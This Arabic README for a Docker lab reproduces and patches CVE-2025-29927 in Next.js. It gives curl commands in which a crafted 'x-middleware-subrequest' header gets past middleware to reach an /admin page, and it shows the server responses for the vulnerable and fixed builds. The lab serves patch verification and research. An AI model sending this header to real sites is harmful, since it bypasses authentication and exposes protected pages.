
إعادة إنتاج وإصلاح ثغرة CVE-2025-29927.
إعادة إنتاج وإصلاح الثغرة الأمنية CVE-2025-29927.
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927
في vulnerable/ يوجد إصدار من التطبيق معرض للهجوم. في fixed/ يوجد إصدار من التطبيق تمت ترقيته إلى الحد الأدنى من الإصدار الذي يصلح الثغرة.
⚠️ مهم: هذه الأمثلة مقدمة للمدافعين والباحثين والفرق التي تتحقق من التصحيح. لا تقم بتشغيل هذه الصور على الشبكات العامة أو الإنتاجية. اختبرها فقط على أنظمتك الخاصة أو حيث لديك إذن كتابي صريح.
إعادة إنتاج الثغرة الأمنية CVE-2025-29927.
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln
شغّل هذا الأمر، الذي يجب أن يعيد توجيهك إلى صفحة تسجيل الدخول
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
ثم شغّل هذا الأمر، الذي يجب أن يكون قادرًا على الوصول إلى صفحة المشرف
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
...
إصلاح الثغرة الأمنية CVE-2025-29927.
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed
شغّل هذا الأمر، الذي يجب أن يعيد توجيهك إلى صفحة تسجيل الدخول
curl -i http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
ثم شغّل هذا الأمر، الذي يجب الآن أيضًا أن يعيد توجيهك إلى صفحة تسجيل الدخول
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
هذا المستودع مبني على l1uk/nextjs-middleware-exploit، لكنه مُكيَّف للإصدار 15.x من Next.js.